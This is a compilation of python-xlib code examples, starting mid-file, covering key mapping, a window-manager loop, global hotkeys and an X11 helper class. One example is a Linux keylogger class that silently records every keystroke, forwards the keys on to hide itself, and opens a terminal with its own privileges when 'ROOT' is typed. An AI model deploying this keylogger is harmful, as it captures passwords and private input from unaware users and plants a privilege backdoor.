                if num_lock_key in keycodes:
                    mod_keycodes['Num_Lock'] = keycodes
                    self.modifier_bits['Num_Lock'] = self.modifier_bits[name]
            for super_key in super_keycodes:
                if super_key in keycodes:
                    mod_keycodes['Super'] = keycodes
                    self.modifier_bits['Super'] = self.modifier_bits[name]
            for mode_switch_key in mode_switch_keycodes:
                if mode_switch_key in keycodes:
                    mod_keycodes['Mode_switch'] = keycodes
                    self.modifier_bits['Mode_switch'] = self.modifier_bits[name]

        #Assign the mod_keycodes to a local variable for access
        self.modifier_keycodes = mod_keycodes
        self.all_mod_keycodes = all_mod_keycodes

        #TODO: Determine if this might fail, perhaps iterate through the mapping
        #and identify all keycodes with registered keypad keysyms?

        #Acquire the full list of keypad keycodes
        self.keypad_keycodes = []
        keypad = ['Space', 'Tab', 'Enter', 'F1', 'F2', 'F3', 'F4', 'Home',
                  'Left', 'Up', 'Right', 'Down', 'Prior', 'Page_Up', 'Next',
                  'Page_Down', 'End', 'Begin', 'Insert', 'Delete', 'Equal',
                  'Multiply', 'Add', 'Separator', 'Subtract', 'Decimal',
                  'Divide', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
        for keyname in keypad:
            keypad_keycode = self.lookup_character_keycode('KP_' + keyname)
            self.keypad_keycodes.append(keypad_keycode)

    def lookup_character_keycode(self, character):
        """
        Looks up the keysym for the character then returns the keycode mapping
        for that keysym.
        """
        keysym = self.string_to_keysym.get(character, 0)
        if keysym == 0:
            keysym = self.string_to_keysym.get(special_X_keysyms[character], 0)
        return self.display.keysym_to_keycode(keysym)

    def get_translation_dicts(self):
        """
        Returns dictionaries for the translation of keysyms to strings and from
        strings to keysyms.
        """
        keysym_to_string_dict = {}
        string_to_keysym_dict = {}
        #XK loads latin1 and miscellany on its own; load latin2-4 and greek
        Xlib.XK.load_keysym_group('latin2')
        Xlib.XK.load_keysym_group('latin3')
        Xlib.XK.load_keysym_group('latin4')
        Xlib.XK.load_keysym_group('greek')

        #Make a standard dict and the inverted dict
        for string, keysym in Xlib.XK.__dict__.items():
            if string.startswith('XK_'):
                string_to_keysym_dict[string[3:]] = keysym
                keysym_to_string_dict[keysym] = string[3:]
        return keysym_to_string_dict, string_to_keysym_dict

    def ascii_printable(self, keysym):
        """
        If the keysym corresponds to a non-printable ascii character this will
        return False. If it is printable, then True will be returned.

        ascii 11 (vertical tab) and ascii 12 are printable, chr(11) and chr(12)
        will return '\x0b' and '\x0c' respectively.
        """
        if 0 <= keysym < 9:
            return False
        elif 13 < keysym < 32:
            return False
        elif keysym > 126:
            return False
        else:
            return True
class Wrapper:
    def __init__(self):
        self.dpy = Display()
        self.drag_start_event = None
        self.drag_attr = None
        self.on_alt_drag_handler = None
        self.on_alt_click_handler = None
        self.keys = {}
        self.screen_width = self.dpy.screen().width_in_pixels
        self.screen_height = self.dpy.screen().height_in_pixels
        self.gc = self.dpy.screen().root.create_gc(
            foreground=self.dpy.screen().black_pixel,
            background=self.dpy.screen().white_pixel,
        )
        self.on(lambda ev: print(ev._data), XK.XK_F1, X.Mod1Mask)
        self.on(lambda ev: print(ev._data), XK.XK_a, X.Mod1Mask)

    def on(self, func, key, modifier1=0, modifier2=0):
        self.keys[(key, modifier1, modifier2)] = func

    def on_alt_drag(self, func):
        self.on_alt_drag_handler = func

    def on_alt_drag_end(self, func):
        self.on_alt_drag_end_handler = func

    def on_alt_click(self, func):
        self.on_alt_click_handler = func

    def connect_key_combinations(self):
        for key in self.keys.keys():
            self.dpy.screen().root.grab_key(self.dpy.keysym_to_keycode(key[0]),
                                            key[1] | key[2], 1,
                                            X.GrabModeAsync, X.GrabModeAsync)

        # self.dpy.screen().root.grab_key(X.AnyKey, X.AnyModifier, 1,
        #   X.GrabModeAsync, X.GrabModeAsync)
        self.dpy.screen().root.grab_button(
            1, X.Mod1Mask, 1,
            X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask,
            X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE)
        self.dpy.screen().root.grab_button(
            3, X.Mod1Mask, 1,
            X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask,
            X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE)

    def run(self):
        self.connect_key_combinations()
        while 1:
            event = self.dpy.next_event()
            self.dpy.screen().root.fill_rectangle(self.gc, 0, 0,
                                                  self.screen_width,
                                                  self.screen_height)

            if event.type == X.KeyPress:
                for handler, func in self.keys.items():
                    if self.dpy.keycode_to_keysym(
                            event.detail, 0
                    ) == handler[0] and event.state == handler[1] | handler[2]:
                        func(event)
                # event.detail
                # print('\n', '\n'.join(dir(event)))
                # for item, value in event.__dict__.items():
                #   print(item, value)
                print(event._data, event.detail,
                      self.dpy.keycode_to_keysym(event.detail, 0),
                      chr(event.detail), XK.XK_F1)
                if self.dpy.keycode_to_keysym(
                        event.detail, 0) == XK.XK_F1 and event.child != X.NONE:
                    self.handle_move_to_front(event)
            elif event.type == X.ButtonPress:
                self.handle_drag_or_resize_start(event)
                if self.on_alt_click_handler:
                    self.on_alt_click_handler(event)

            elif event.type == X.MotionNotify and self.drag_start_event:
                if (self.on_alt_drag_handler):
                    xdiff = event.root_x - self.drag_start_event.root_x
                    ydiff = event.root_y - self.drag_start_event.root_y
                    self.on_alt_drag_handler((xdiff, ydiff), self.drag_attr,
                                             self.drag_start_event, event)
                # if self.drag_start_event.detail == 1:
                #   self.handle_move(event)
                # elif self.drag_start_event.detail == 3:
                #   self.handle_resize(event)
            elif event.type == X.ButtonRelease:
                if (self.on_alt_drag_end_handler):
                    self.on_alt_drag_end_handler(self.drag_start_event, event)
                self.drag_start_event = None

    def handle_move_to_front(self, event):
        event.child.configure(stack_mode=X.Above)

    def handle_drag_or_resize_start(self, event):
        if event.child != X.NONE:
            self.drag_attr = event.child.get_geometry()

        self.drag_start_event = event

    def handle_move(self, event):
        xdiff = event.root_x - self.drag_start_event.root_x
        ydiff = event.root_y - self.drag_start_event.root_y
        self.drag_start_event.child.configure(x=self.drag_attr.x + xdiff,
                                              y=self.drag_attr.y + ydiff)

    def handle_resize(self, event):
        xdiff = event.root_x - self.drag_start_event.root_x
        ydiff = event.root_y - self.drag_start_event.root_y
        self.drag_start_event.child.configure(
            width=max(1, self.drag_attr.width + xdiff),
            height=max(1, self.drag_attr.height + ydiff))
Exemple #15
0
        activate_window(ev.window)
    elif ev.type == X.ButtonPress and ev.child != X.NONE:
        geom = ev.child.get_geometry()
        mouse_ev = ev
    elif ev.type == X.MotionNotify and mouse_ev:
        dx = ev.root_x - mouse_ev.root_x
        dy = ev.root_y - mouse_ev.root_y
        mouse_ev.child.configure(
            x=(geom.x + (dx if mouse_ev.detail == 1 else 0)),
            y=(geom.y + (dy if mouse_ev.detail == 1 else 0)),
            width=max(1, geom.width + (dx if mouse_ev.detail == 3 else 0)),
            height=max(1, geom.height + (dy if mouse_ev.detail == 3 else 0)))
    elif ev.type == X.ButtonRelease:
        mouse_ev = None
    elif ev.type == X.KeyPress and wids:
        handler = bindings.get((ev.state, dpy.keycode_to_keysym(ev.detail, 0)))
        if handler:
            handler[0](handler[1])
    root.change_property(
        net_client_list,
        Xatom.WINDOW,
        32,
        [w.id for w in wids],
    )
root.change_property(
    net_active_window,
    Xatom.WINDOW,
    32,
    [wids[-1].id] if wids else [X.NONE],
)
Exemple #16
0
class PyKeyboardEvent(PyKeyboardEventMeta):
    """
    The PyKeyboardEvent implementation for X11 systems (mostly linux). This
    allows one to listen for keyboard input.
    """
    def __init__(self, display=None):
        PyKeyboardEventMeta.__init__(self)
        self.display = Display(display)
        self.display2 = Display(display)
        self.ctx = self.display2.record_create_context(
            0,
            [record.AllClients],
            [{
                    'core_requests': (0, 0),
                    'core_replies': (0, 0),
                    'ext_requests': (0, 0, 0, 0),
                    'ext_replies': (0, 0, 0, 0),
                    'delivered_events': (0, 0),
                    'device_events': (X.KeyPress, X.KeyRelease),
                    'errors': (0, 0),
                    'client_started': False,
                    'client_died': False,
            }])
        self.shift_state = 0  # 0 is off, 1 is on
        self.alt_state = 0  # 0 is off, 2 is on
        self.mod_keycodes = self.get_mod_keycodes()

    def run(self):
        """Begin listening for keyboard input events."""
        self.state = True
        if self.capture:
            self.display2.screen().root.grab_keyboard(True, X.KeyPressMask | X.KeyReleaseMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)

        self.display2.record_enable_context(self.ctx, self.handler)
        self.display2.record_free_context(self.ctx)

    def stop(self):
        """Stop listening for keyboard input events."""
        self.state = False
        self.display.record_disable_context(self.ctx)
        self.display.ungrab_keyboard(X.CurrentTime)
        self.display.flush()
        self.display2.record_disable_context(self.ctx)
        self.display2.ungrab_keyboard(X.CurrentTime)
        self.display2.flush()

    def handler(self, reply):
        """Upper level handler of keyboard events."""
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(data, self.display.display, None, None)
            if event.type == X.KeyPress:
                if self.escape_code(event):  # Quit if this returns True
                    self.stop()
                else:
                    self._key_press(event.detail)
            elif event.type == X.KeyRelease:
                self._key_release(event.detail)
            else:
                print('WTF: {0}'.format(event.type))

    def _key_press(self, keycode):
        """A key has been pressed, do stuff."""
        #Alter modification states
        if keycode in self.mod_keycodes['Shift'] or keycode in self.mod_keycodes['Lock']:
            self.toggle_shift_state()
        elif keycode in self.mod_keycodes['Alt']:
            self.toggle_alt_state()
        else:
            self.key_press(keycode)

    def _key_release(self, keycode):
        """A key has been released, do stuff."""
        #Alter modification states
        if keycode in self.mod_keycodes['Shift']:
            self.toggle_shift_state()
        elif keycode in self.mod_keycodes['Alt']:
            self.toggle_alt_state()
        else:
            self.key_release(keycode)

    def escape_code(self, event):
        if event.detail == self.lookup_character_value('Escape'):
            return True
        return False

    def lookup_char_from_keycode(self, keycode):
        keysym =self.display.keycode_to_keysym(keycode, self.shift_state + self.alt_state)
        if keysym:
            char = self.display.lookup_string(keysym)
            return char
        else:
            return None

    def get_mod_keycodes(self):
        """
        Detects keycodes for modifiers and parses them into a dictionary
        for easy access.
        """
        modifier_mapping = self.display.get_modifier_mapping()
        modifier_dict = {}
        nti = [('Shift', X.ShiftMapIndex),
               ('Control', X.ControlMapIndex), ('Mod1', X.Mod1MapIndex),
               ('Alt', X.Mod1MapIndex), ('Mod2', X.Mod2MapIndex),
               ('Mod3', X.Mod3MapIndex), ('Mod4', X.Mod4MapIndex),
               ('Mod5', X.Mod5MapIndex), ('Lock', X.LockMapIndex)]
        for n, i in nti:
            modifier_dict[n] = list(modifier_mapping[i])
        return modifier_dict

    def lookup_character_value(self, character):
        """
        Looks up the keysym for the character then returns the keycode mapping
        for that keysym.
        """
        ch_keysym = string_to_keysym(character)
        if ch_keysym == 0:
            ch_keysym = string_to_keysym(special_X_keysyms[character])
        return self.display.keysym_to_keycode(ch_keysym)

    def toggle_shift_state(self):
        '''Does toggling for the shift state.'''
        if self.shift_state == 0:
            self.shift_state = 1
        elif self.shift_state == 1:
            self.shift_state = 0
        else:
            return False
        return True

    def toggle_alt_state(self):
        '''Does toggling for the alt state.'''
        if self.alt_state == 0:
            self.alt_state = 2
        elif self.alt_state == 2:
            self.alt_state = 0
        else:
            return False
        return True
Exemple #17
0
class LinuxKeyLogger(threading.Thread):
    """
    This implementation of the keylogger is designed to work on linux based
    systems. WILL NOT FUNCTION ON OTHER OPERATING SYSTEMS.
    """
    def __init__(self):
        """
        Constructs the logger and its internal objects
        """
        super().__init__()
        self.display = Display()
        self.root = self.display.screen().root
        self.capturedKeys = []
        self.windowKeys = []
        self.capture = True

    def run(self):
        """
        Starts the logging process
        """
        self.log()

    def log(self):
        """
        Sets up the root window to capture the keys being typed in.
        """
        self.root.change_attributes(event_mask=X.KeyPressMask
                                    | X.KeyReleaseMask)
        self.root.grab_keyboard(0, X.GrabModeAsync, X.GrabModeAsync,
                                X.CurrentTime)

        try:
            while self.capture:
                event = self.display.next_event()
                self.handleEvent(event)
                self.display.allow_events(X.AsyncKeyboard, X.CurrentTime)
        except Exception as e:
            print(e)

    def handleEvent(self, event):
        """
        The Xlib library will produce events when a key is pressed this method
        will analyze those events and extract the pertainent information along
        with passing that information further down the line to be processed by
        the operating system.
        :param event:
        :return: None
        """
        if (event.type == X.KeyRelease):
            char = Xlib.XK.keysym_to_string(
                self.display.keycode_to_keysym(event.detail, event.state))
            if char is not None:
                self.capturedKeys.append(char)
                self.windowKeys.append(char)
            self.send_key(event.detail, event.state)
            self.phrase_check()
            # self.send_keyup(event.detail, event.state)
        elif (event.type == X.KeyPress):
            pass
            # try:
            #     self.send_keydown(event.detail, event.status)
            # except AttributeError as ae:
            #     print(ae)
            # window = self.display.get_input_focus()._data["focus"]
            # window.send_event(event,propagate=True)

    def phrase_check(self):
        """
        This method will check to see if the typed in keys correspond to any
        of the preset phrases that have associated executions.
        :return:
        """
        # will need to create a smarter way of doing this
        stop = self.checkPhrase(self.getStopPhrase())
        if (stop):
            self.capture = False
        openT = self.checkPhrase(self.getTerminalPhrase())
        if (openT):
            self.openterminal()
        # ensure window size is maintained
        maxLength = max(len(self.getStopPhrase()),
                        len(self.getTerminalPhrase()))
        if len(self.windowKeys) > maxLength:
            self.windowKeys = self.windowKeys[len(self.windowKeys) -
                                              maxLength:]

    def checkPhrase(self, phrase):
        """
        Checks whether a phrase matches the most recently
        typed in keys.
        """
        length = len(phrase)
        capLength = len(self.windowKeys)
        if (capLength >= length):
            section = self.windowKeys[capLength - length:capLength]
            lastWords = ''.join(section)
            if (lastWords.upper() == phrase):
                return True
        return False

    def send_key(self, emulated_key, state):
        """Sends a key downstream to be processed by the computer"""
        self.send_keydown(emulated_key, state)
        self.send_keyup(emulated_key, state)

    def send_keyup(self, emulated_key, state):
        """Sends an key up message downstream to be processed by the computer"""
        shift_mask = state  # Xlib.X.ShiftMask
        window = self.display.get_input_focus()._data["focus"]
        event = Xlib.protocol.event.KeyRelease(time=int(time.time()),
                                               root=self.display.screen().root,
                                               window=window,
                                               same_screen=0,
                                               child=Xlib.X.NONE,
                                               root_x=0,
                                               root_y=0,
                                               event_x=0,
                                               event_y=0,
                                               state=shift_mask,
                                               detail=emulated_key)
        window.send_event(event, propagate=True)

    def send_keydown(self, emulated_key, state):
        """Sends a key down message downstream to be processed by the computer"""
        shift_mask = state  # Xlib.X.ShiftMask
        window = self.display.get_input_focus()._data["focus"]
        event = Xlib.protocol.event.KeyPress(time=int(time.time()),
                                             root=self.root,
                                             window=window,
                                             same_screen=0,
                                             child=Xlib.X.NONE,
                                             root_x=0,
                                             root_y=0,
                                             event_x=0,
                                             event_y=0,
                                             state=shift_mask,
                                             detail=emulated_key)
        window.send_event(event, propagate=True)

    def openterminal(self):
        """
        This method will open up a terminal on a linux machine. If this application
        is running with root privileges then the terminal will also be given root
        privileges.
        :return:
        """
        subprocess.call("gnome-terminal")

    def getStopPhrase(self):
        """
        When this phrase is typed in the keylogging will stop running
        """
        return "MISCHIEF MANAGED"

    def getTerminalPhrase(self):
        """
        When this phrase is typed in a terminal will be created and this terminal
        will have the same privileges that the key logger is running as.
        """
        return "ROOT"

    def hasInfoToSend(self):
        """
        Determines whether or not there have been keys that have been captured.
        :return: True if there are captured keys otherwise False
        """
        return len(self.capturedKeys) > 0

    def getInfo(self):
        """
        Provides the caller with a string of the captured keys.  It is important
        to note that a call to this method is a mutating call.  This means that
        once the information is retrieved it is purged from this object.
        :return: A string of the captured keys
        """
        ret = ''.join(self.capturedKeys)
        self.capturedKeys = []
        return ret
class SystemHotkey(MixIn):
    '''
    Cross platform System Wide Hotkeys

    Modifer oder doesn't matter, e.g
    binding to  control shift k is the same as shift control k,
    limitation of the keyboard and operating systems not this library
    '''
    hk_ref = {}
    keybinds = {}

    def __init__(self,
                 consumer='callback',
                 check_queue_interval=0.0001,
                 use_xlib=False,
                 conn=None,
                 verbose=False,
                 unite_kp=True):
        '''
        if the consumer param = 'callback', -> All hotkeys will require
        a callback function

        Otherwise set consumer to a function to hanlde the event.
        the function signature: event, hotkey, args
        event is the xwindow/microsoft keyboard event
        hotkey is a tuple,
        args is a list of any ars parsed in at the time of registering

        check_queue_interval is in seconds and sets the sleep time on
        checking the queue for hotkey presses

        set use_xlib to true to use the xlib python bindings (GPL) instead of the xcb ones (BSD)
        You can pass an exisiting X display or connection using the conn keyword,
        otherwise one will be created for you.

        keybinds will work regardless if numlock/capslock are on/off.
        so kp_3 will also bind to kp_page_down
        If you do not want numpad keys to have the same function
        when numlock is on or off set unite_kp to False (only windows)
        TODO
        This is still under development, triggering the key with
        other modifyers such as shift or fn keys may or maynot work
        '''
        # Changes the class methods to point to differenct functions
        # Depening on the operating system and library used
        # Consumer can be set to a function also, which will be sent the event
        # as well as the key and mask already broken out
        # Last option for consumer is False, then you have to listen to the queue yourself
        # data_queue
        self.verbose = verbose
        self.use_xlib = use_xlib
        self.consumer = consumer
        self.check_queue_interval = check_queue_interval
        self.unite_kp = unite_kp
        if os.name == 'posix' and not unite_kp:
            # see _get_keysym
            raise NotImplementedError

        def mark_event_type(event):
            # event gets an event_type attribute so the user has a portiabble way
            # actually on windows as far as i know you dont have the option of binding on keypress or release so...
            # anyway ahve to check it but for now u dont!
            if os.name == 'posix':
                if self.use_xlib:
                    if event.type == X.KeyPress:
                        event.event_type = 'keypress'
                    elif event.type == X.KeyRelease:
                        event.event_type = 'keyrelease'
                else:
                    if isinstance(event, xproto.KeyPressEvent):
                        event.event_type = 'keypress'
                    if isinstance(event, xproto.KeyReleaseEvent):
                        event.event_type = 'keyrelease'
            else:
                event.event_type = 'keypress'
            return event

        self.data_queue = queue.Queue()
        if os.name == 'nt':
            self.hk_action_queue = queue.Queue()
            self.modders = win_modders
            self.trivial_mods = win_trivial_mods
            self._the_grab = self._nt_the_grab
            self._get_keycode = self._nt_get_keycode
            self._get_keysym = self._nt_get_keysym

            thread.start_new_thread(
                self._nt_wait,
                (),
            )

        elif use_xlib:
            # Use the python-xlib library bindings, GPL License
            self.modders = xlib_modifiers
            self.trivial_mods = xlib_trivial_mods
            self._the_grab = self._xlib_the_grab
            self._get_keycode = self._xlib_get_keycode
            self._get_keysym = self._xlib_get_keysym
            if not conn:
                self.disp = Display()
            else:
                self.disp = conn
            self.xRoot = self.disp.screen().root
            self.xRoot.change_attributes(event_mask=X.KeyPressMask)

            thread.start_new_thread(
                self._xlib_wait,
                (),
            )

        else:
            # Using xcb and the xcffib python bindings Apache 2 http://stackoverflow.com/questions/40100/apache-license-vs-bsd-vs-mit
            self.modders = xcb_modifiers
            self.trivial_mods = xcb_trivial_mods
            self._the_grab = self._xcb_the_grab
            self._get_keycode = self._xcb_get_keycode
            self._get_keysym = self._xcb_get_keysym
            if not conn:
                self.conn = xcffib.connect()
            else:
                self.conn = conn
            self.root = self.conn.get_setup().roots[0].root

            thread.start_new_thread(
                self._xcb_wait,
                (),
            )

        if consumer == 'callback':
            if self.verbose:
                print('In Callback')

            def thread_me():
                while 1:
                    time.sleep(self.check_queue_interval)
                    try:
                        event = self.data_queue.get(block=False)
                    except queue.Empty:
                        pass
                    else:
                        event = mark_event_type(event)
                        hotkey = self.parse_event(event)
                        if not hotkey:
                            continue
                        #~ for cb in self.get_callback(hotkey, event.event_type):   #when i was using the keypress / keyrelease shit
                        for cb in self.get_callback(hotkey):
                            if event.event_type == 'keypress':
                                if self.verbose:
                                    print('calling ', repr(cb))
                                cb(
                                    event
                                )  # TODO either throw these up in a thread, or pass in a queue to be put onto

            thread.start_new_thread(
                thread_me,
                (),
            )

        elif callable(consumer):

            def thread_me():
                while 1:
                    time.sleep(self.check_queue_interval)
                    try:
                        event = self.data_queue.get(block=False)
                    except queue.Empty:
                        pass
                    else:
                        hotkey = self.parse_event(mark_event_type(event))
                        if not hotkey:
                            continue
                        if event.event_type == 'keypress':
                            args = [cb for cb in self.get_callback(hotkey)]
                            #~ callbacks = [cb for cb in self.get_callback(hotkey, event.event_type)]
                            consumer(event, hotkey, args)

            thread.start_new_thread(
                thread_me,
                (),
            )
        else:
            print('You need to handle grabbing events yourself!')

    def _xlib_wait(self):
        # Pushes Event onto queue
        while 1:
            event = self.xRoot.display.next_event()
            self.data_queue.put(event)

    def _xcb_wait(self):
        # Pushes Event onto queue
        while 1:
            event = self.conn.wait_for_event()
            self.data_queue.put(event)

    def _nt_wait(self):
        # Pushes Event onto queue
        # I don't understand the windows msg system
        # I can only get hotkeys to work if they are registeed in the
        # Thread that is listening for them.
        # So any changes to the hotkeys have to be signaled to be done
        # By the thread. (including unregistering)
        # A new queue is checked and runs functions, either adding
        # or removing new hotkeys, then the windows msg queue is checked
        msg = ctypes.wintypes.MSG()
        while 1:
            try:
                remove_or_add = self.hk_action_queue.get(block=False)
            except queue.Empty:
                pass
            else:
                remove_or_add()
            # Checking the windows message Queue
            if user32.PeekMessageA(byref(msg), 0, 0, 0, PM_REMOVE):
                if msg.message == win32con.WM_HOTKEY:
                    self.data_queue.put(msg)
                else:
                    print('some other message')
            time.sleep(self.check_queue_interval)

    def _nt_get_keycode(self, key, disp=None):
        return vk_codes.get(key)

    def _nt_get_keysym(self, keycode):
        for key, value in vk_codes.items():
            if value == keycode:
                return key

    def _nt_the_grab(self, keycode, masks, id, root=None):
        keysym = self._get_keysym(keycode)
        aliases = NUMPAD_ALIASES.get(keysym)
        # register numpad aliases for the keypad
        if aliases and self.unite_kp:
            for alias in aliases:
                if alias != keysym and self._get_keycode(alias):
                    # Hack to avoid entering this control flow again..
                    self.unite_kp = False
                    self._the_grab(self._get_keycode(alias), masks, id)
                    self.unite_kp = True

        if not user32.RegisterHotKey(None, id, masks, keycode):
            keysym = self._nt_get_keysym(keycode)
            msg = 'The bind could be in use elsewhere: ' + keysym
            raise SystemRegisterError(msg)

    def _xlib_get_keycode(self, key):
        keysym = XK.string_to_keysym(key)
        if keysym == 0:
            try:
                keysym = XK.string_to_keysym(special_X_keysyms[key])
            except KeyError:
                return None
        keycode = self.disp.keysym_to_keycode(keysym)
        return keycode

    def _xlib_get_keysym(self, keycode, i=0):
        keysym = self.disp.keycode_to_keysym(keycode, i)
        # https://lists.gnu.org/archive/html/stumpwm-devel/2006-04/msg00033.html
        return keybind.keysym_strings.get(keysym, [None])[0]

    def _xlib_the_grab(self, keycode, masks):
        # TODO error handlig  http://tronche.com/gui/x/xlib/event-handling/protocol-errors/default-handlers.html
        # try:
        for triv_mod in self.trivial_mods:
            self.xRoot.grab_key(keycode, triv_mod | masks, 1, X.GrabModeAsync,
                                X.GrabModeAsync)
        # except Xlib.error.BadAccess:
        # raise SystemRegisterError('The bind is probably already in use elsewhere on the system')

    def _xcb_the_grab(self, keycode, masks):
        try:
            for triv_mod in self.trivial_mods:
                try:
                    self.conn.core.GrabKeyChecked(
                        True, self.root, triv_mod | masks, keycode,
                        xproto.GrabMode.Async, xproto.GrabMode.Async).check()
                except struct.error as e:
                    msg = 'Unable to Register, Key not understood by systemhotkey'
                    raise InvalidKeyError(msg) from e
        except xproto.AccessError as e:
            keysym = self._xcb_get_keysym(keycode)
            msg = 'The bind could be in use elsewhere: ' + keysym
            raise SystemRegisterError(msg) from e

    def _xcb_get_keycode(self, key):
        return keybind.lookup_string(key)

    def _xcb_get_keysym(self, keycode, i=0):
        keysym = keybind.get_keysym(keycode, i)
        return keybind.keysym_strings.get(keysym, [None])[0]
Exemple #19
0
class KnoX:
    Geometry = namedtuple("Geometry", "x y width height")
    FrameExtents = namedtuple("FrameExtents", "left right top bottom")

    def __init__(self):
        #self.display = Display(os.environ.get("DISPLAY", ":0.0"))
        self.display = Display()
        print("Connected to X DISPLAY %r" % self.display.get_display_name())
        self.display.set_error_handler(self.knox_error_handler)
        self.screen = self.display.screen()
        self.root = self.screen.root
        self.atoms = dict()
        self.atom_names = dict()
        self.keysyms = Keysyms()
        self.modifiers = Modifiers(self)
        self._supported_properties = None
        self._acceptable_error_sequence = 0
        self._acceptable_errors = dict()
        self._silenced_errors = set()

    def fileno(self):
        """This function is here to make select work with this object"""
        return self.display.fileno()

    @contextmanager
    def silenced_error(self, error):
        silencer = self.silence_error(error)
        try:
            yield silencer
        finally:
            self.remove_silencer(silencer)

    def silence_error(self, error):
        k = self._acceptable_error_sequence
        self._acceptable_errors[k] = error
        self._acceptable_error_sequence += 1
        self._silenced_errors = set(self._acceptable_errors.values())
        return k

    def remove_silencer(self, key):
        if key in self._acceptable_errors:
            del self._acceptable_errors[key]
            self._silenced_errors = set(self._acceptable_errors.values())

    def knox_error_handler(self, err, *args):
        if type(err) not in self._silenced_errors:
            print("X protocol error: %s" % err)
            traceback.print_stack()

    # def wait_for_event(self, timeout_seconds):
    #     """ Wait up to `timeout_seconds` seconds for an event to be queued.
    #     Return True, if a xevent is available.
    #     Return False, if the timeout was reached.
    #     from https://gist.github.com/fphammerle/d81ca3ff0a169f062a9f28e57b18f04d"""
    #     rlist = select.select(
    #         [self.display], # rlist
    #         [], # wlist
    #         [], # xlist
    #         timeout_seconds, # timeout [seconds]
    #     )[0]
    #     return len(rlist) > 0

    def next_event(self, wait=True):
        if (wait or self.display.pending_events()):
            return self.display.next_event()
        else:
            return None

    # def next_event(self, event_loop):
    #     event_loop.register_reader(self.display,

    def atom(self, name, only_if_exists=False):
        if isinstance(name, int):
            a = name
        elif name not in self.atoms:
            a = self.display.get_atom(name, only_if_exists=only_if_exists)
            self.atoms[name] = a
        else:
            a = self.atoms[name]
        return a

    def atom_name(self, atom):
        if atom in self.atom_names:
            return self.atom_names[atom]
        name = self.display.get_atom_name(atom)
        if name:
            self.atom_names[atom] = name
            if name not in self.atoms:
                self.atoms[name] = atom
            return name

    def get_prop(self, window, name):
        prop_name = self.atom(name, only_if_exists=True)
        if not prop_name:
            return None
        if isinstance(window, int):
            window = self.get_window(window)
        p = window.get_full_property(prop_name, X.AnyPropertyType)
        if p:
            return p.value

    def get_text_prop(self, window, name):
        prop_name = self.atom(name, only_if_exists=True)
        if not prop_name:
            return None
        s = window.get_full_text_property(prop_name, Xatom.STRING)
        if not s:
            t = self.atom("UTF8_STRING", only_if_exists=True)
            if t:
                s = window.get_full_text_property(prop_name, t)
        return s

    def onerror(self, *args, **kwargs):
        print("ERROR: something bad happened about %r and %r" % (args, kwargs))
        raise Exception("Error is bad...")

    def set_prop(self, window, name, type_name, value):
        if isinstance(window, int):
            window = self.get_window(window)
        if isinstance(type_name, int):
            prop_type_name = type_name
            #type_name = self.atom_name(prop_type_name)
        else:
            prop_type_name = self.atom(type_name, only_if_exists=False)

        prop_name = self.atom(name, only_if_exists=False)

        if value is None:
            window.delete_property(prop_name)
        else:
            window.change_property(prop_name,
                                   prop_type_name,
                                   32,
                                   value,
                                   mode=X.PropModeReplace,
                                   onerror=self.onerror)

    def send_prop_change_event(
        self,
        property_name,
        data,
        target=None,
        window=None,
    ):
        if target is None:
            target = self.root
        if window is None:
            window = target
        ev = protocol.event.ClientMessage(window=window,
                                          client_type=self.atom(property_name),
                                          data=data)
        target.send_event(ev,
                          event_mask=X.SubstructureNotifyMask
                          | X.SubstructureRedirectMask,
                          propagate=False,
                          onerror=self.onerror)

    def current_desktop(self, desktop=None, wait=True):
        prop_name = "_NET_CURRENT_DESKTOP"
        if desktop is None:
            pv = self.get_prop(self.root, prop_name)
            if pv:
                return pv[0]
        else:
            v = array('I', [desktop])
            #self.set_prop(self.root, prop_name, Xatom.CARDINAL, v)
            self.send_prop_change_event(
                prop_name, (32, [desktop, X.CurrentTime, 0, 0, 0]))
            self.flush()
            w = Waiter(wait)
            while w.wait():
                print("DESKTOPCHECK", hex(desktop))
                if self.current_desktop() == desktop:
                    print("DESKTOP OK")
                    break

    def get_wm_pid(self, window):
        pid_prop = self.get_prop(window, "_NET_WM_PID")
        if pid_prop:
            return pid_prop[0]
        return None

    def get_wm_name(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        # window.get_wm_name gets only STRING property and returns nothing
        # if it's UTF8_STRING
        return self.get_text_prop(window, Xatom.WM_NAME)

    def active_window(self, window=None, wait=3, id_only=False):
        prop_name = "_NET_ACTIVE_WINDOW"
        if window is None:
            pv = self.get_prop(self.root, prop_name)
            if pv and pv[0]:
                window = self.get_window(pv[0])
                if window and window.get_wm_name() != 'Desktop':
                    if id_only:
                        return window.id
                    else:
                        return window
        else:
            if isinstance(window, int):
                window = self.get_window(window)
            desktop = self.get_desktop_for_window(window)
            self.current_desktop(desktop)
            #v = array('I', [ window.id, 0 ])
            #self.set_prop(self.root, prop_name, Xatom.WINDOW, v)
            # data[0]: source indication
            #   1: when the request comes from an application
            #   2: from a pager
            #   0: no spec.
            self.send_prop_change_event(prop_name,
                                        (32, [2, X.CurrentTime, 0, 0, 0]),
                                        window=window)
            self.flush()
            #self.raise_window(window)
            # it won't become active until it's focused
            focused = self.set_focused_window(window, wait=1)
            w = Waiter(wait)
            while w.wait():
                a = self.active_window()
                self.flush()
                if not focused:
                    focused = self.set_focused_window(window, wait=1)
                    self.flush()
                if a and a.id == window.id:
                    print("Activated %r!" % window.id)
                    return True
                self.send_prop_change_event(prop_name,
                                            (32, [2, X.CurrentTime, 0, 0, 0]),
                                            window=window)
                self.flush()
            print("Can't activate %d" % window.id)
            return False

    def get_focused_window(self, toplevel=True):
        f = self.display.get_input_focus()
        #f = protocol.request.GetInputFocus(display=self.display.display)
        if f.focus in [X.NONE, X.PointerRoot]:
            return None
        if toplevel:
            w = self.get_client_window(f.focus)
            if w is not None:
                return w.id
        return f.focus.id

    def raise_window(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        elif window is None:
            return
        window.raise_window()

    def focus_error(self, *args, **kwargs):
        print("Cannot set_input_focus: %r %r" % (args, kwargs))

    def set_focused_window(self, window, wait=3):
        if window is None:
            self.display.set_input_focus(X.NONE,
                                         X.RevertToParent,
                                         X.CurrentTime,
                                         onerror=self.focus_error)
